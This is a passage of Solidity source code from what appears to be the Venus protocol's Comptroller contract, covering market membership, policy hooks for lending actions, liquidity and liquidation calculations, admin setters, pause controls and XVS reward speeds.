Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (VToken[] memory) { return accountAssets[account]; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param vToken The vToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, VToken vToken) external view returns (bool) { return markets[address(vToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param vTokens The list of addresses of the vToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] calldata vTokens) external returns (uint[] memory) { uint len = vTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { results[i] = uint(addToMarketInternal(VToken(vTokens[i]), msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param vToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(VToken vToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(vToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower]) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(vToken); emit MarketEntered(vToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param vTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address vTokenAddress) external returns (uint) { VToken vToken = VToken(vTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the vToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = vToken.getAccountSnapshot(msg.sender); require(oErr == 0, "getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(vTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(vToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set vToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete vToken from the account’s list of assets */ // In order to delete vToken, copy last item in list to location of item to be removed, reduce length by 1 VToken[] storage userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint i; for (; i < len; i++) { if (userAssetList[i] == vToken) { userAssetList[i] = userAssetList[len - 1]; userAssetList.length--; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(i < len); emit MarketExited(vToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param vToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address vToken, address minter, uint mintAmount) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[vToken], "mint is paused"); // Shh - currently unused mintAmount; if (!markets[vToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateVenusSupplyIndex(vToken); distributeSupplierVenus(vToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param vToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address vToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused vToken; minter; actualMintAmount; mintTokens; } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param vToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of vTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address vToken, address redeemer, uint redeemTokens) external onlyProtocolAllowed returns (uint) { uint allowed = redeemAllowedInternal(vToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateVenusSupplyIndex(vToken); distributeSupplierVenus(vToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address vToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[vToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[vToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, VToken(vToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall != 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param vToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address vToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused vToken; redeemer; // Require tokens is zero or amount is also zero require(redeemTokens != 0 || redeemAmount == 0, "redeemTokens zero"); } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param vToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address vToken, address borrower, uint borrowAmount) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[vToken], "borrow is paused"); if (!markets[vToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[vToken].accountMembership[borrower]) { // only vTokens may call borrowAllowed if borrower not in market require(msg.sender == vToken, "sender must be vToken"); // attempt to add borrower to the market Error err = addToMarketInternal(VToken(vToken), borrower); if (err != Error.NO_ERROR) { return uint(err); } } if (oracle.getUnderlyingPrice(VToken(vToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, VToken(vToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall != 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: VToken(vToken).borrowIndex()}); updateVenusBorrowIndex(vToken, borrowIndex); distributeBorrowerVenus(vToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param vToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address vToken, address borrower, uint borrowAmount) external { // Shh - currently unused vToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param vToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would repay the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address vToken, address payer, address borrower, uint repayAmount) external onlyProtocolAllowed returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[vToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: VToken(vToken).borrowIndex()}); updateVenusBorrowIndex(vToken, borrowIndex); distributeBorrowerVenus(vToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param vToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address vToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused vToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param vTokenBorrowed Asset which was borrowed by the borrower * @param vTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address vTokenBorrowed, address vTokenCollateral, address liquidator, address borrower, uint repayAmount) external onlyProtocolAllowed returns (uint) { // Shh - currently unused liquidator; if (!markets[vTokenBorrowed].isListed || !markets[vTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, VToken(0), 0, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = VToken(vTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param vTokenBorrowed Asset which was borrowed by the borrower * @param vTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address vTokenBorrowed, address vTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused vTokenBorrowed; vTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param vTokenCollateral Asset which was used as collateral and will be seized * @param vTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address vTokenCollateral, address vTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[vTokenCollateral].isListed || !markets[vTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (VToken(vTokenCollateral).comptroller() != VToken(vTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateVenusSupplyIndex(vTokenCollateral); distributeSupplierVenus(vTokenCollateral, borrower, false); distributeSupplierVenus(vTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param vTokenCollateral Asset which was used as collateral and will be seized * @param vTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address vTokenCollateral, address vTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused vTokenCollateral; vTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param vToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of vTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address vToken, address src, address dst, uint transferTokens) external onlyProtocolAllowed returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(vToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateVenusSupplyIndex(vToken); distributeSupplierVenus(vToken, src, false); distributeSupplierVenus(vToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param vToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of vTokens to transfer */ function transferVerify(address vToken, address src, address dst, uint transferTokens) external { // Shh - currently unused vToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `vTokenBalance` is the number of vTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint vTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, VToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param vTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address vTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, VToken(vTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param vTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral vToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, VToken vTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in VToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { VToken asset = assets[i]; // Read the balances and exchange rate from the vToken (oErr, vars.vTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> bnb (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * vTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.vTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with vTokenModify if (asset == vTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } /// @dev VAI Integration^ (mErr, vars.sumBorrowPlusEffects) = addUInt(vars.sumBorrowPlusEffects, mintedVAIs[account]); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } /// @dev VAI Integration$ // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in vToken.liquidateBorrowFresh) * @param vTokenBorrowed The address of the borrowed vToken * @param vTokenCollateral The address of the collateral vToken * @param actualRepayAmount The amount of vTokenBorrowed underlying to convert into vTokenCollateral tokens * @return (errorCode, number of vTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address vTokenBorrowed, address vTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(VToken(vTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(VToken(vTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = VToken(vTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, newCloseFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param vToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(VToken vToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(vToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(vToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(vToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param vToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(VToken vToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(vToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } vToken.isVToken(); // Sanity check to make sure its really a VToken markets[address(vToken)] = Market({isListed: true, isVenus: false, collateralFactorMantissa: 0}); _addMarketInternal(vToken); emit MarketListed(vToken); return uint(Error.NO_ERROR); } function _addMarketInternal(VToken vToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != vToken, "market already added"); } allMarkets.push(vToken); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, newPauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(VToken vToken, bool state) public onlyListedMarket(vToken) validPauseState(state) returns (bool) { mintGuardianPaused[address(vToken)] = state; emit ActionPaused(vToken, "Mint", state); return state; } function _setBorrowPaused(VToken vToken, bool state) public onlyListedMarket(vToken) validPauseState(state) returns (bool) { borrowGuardianPaused[address(vToken)] = state; emit ActionPaused(vToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public validPauseState(state) returns (bool) { transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public validPauseState(state) returns (bool) { seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _setMintVAIPaused(bool state) public validPauseState(state) returns (bool) { mintVAIGuardianPaused = state; emit ActionPaused("MintVAI", state); return state; } function _setRepayVAIPaused(bool state) public validPauseState(state) returns (bool) { repayVAIGuardianPaused = state; emit ActionPaused("RepayVAI", state); return state; } /** * @notice Set whole protocol pause/unpause state */ function _setProtocolPaused(bool state) public onlyAdmin returns(bool) { protocolPaused = state; emit ActionProtocolPaused(state); return state; } /** * @notice Sets a new VAI controller * @dev Admin function to set a new VAI controller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setVAIController(VAIControllerInterface vaiController_) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_VAICONTROLLER_OWNER_CHECK); } VAIControllerInterface oldRate = vaiController; vaiController = vaiController_; emit NewVAIController(oldRate, vaiController_); } function _setVAIMintRate(uint newVAIMintRate) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_VAI_MINT_RATE_CHECK); } uint oldVAIMintRate = vaiMintRate; vaiMintRate = newVAIMintRate; emit NewVAIMintRate(oldVAIMintRate, newVAIMintRate); return uint(Error.NO_ERROR); } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can"); require(unitroller._acceptImplementation() == 0, "not authorized"); } /*** Venus Distribution ***/ /** * @notice Recalculate and update Venus speeds for all Venus markets */ function refreshVenusSpeeds() public { require(msg.sender == tx.origin, "only externally owned accounts can"); refreshVenusSpeedsInternal(); } function refreshVenusSpeedsInternal() internal { uint i; VToken vToken; for (i = 0; i < allMarkets.length; i++) { vToken = allMarkets[i]; Exp memory borrowIndex = Exp({mantissa: vToken.borrowIndex()}); updateVenusSupplyIndex(address(vToken)); updateVenusBorrowIndex(address(vToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets.length); for (i = 0; i < allMarkets.length; i++) { vToken = allMarkets[i]; if (markets[address(vToken)].isVenus) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(vToken)}); Exp memory utility = mul_(assetPrice, vToken.totalBorrows()); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (i = 0; i < allMarkets.length; i++) { vToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(venusRate, div_(utilities[i], totalUtility)) : 0; venusSpeeds[address(vToken)] = newSpeed; emit VenusSpeedUpdated(vToken, newSpeed); } } /** * @notice Accrue XVS to the market by updating the 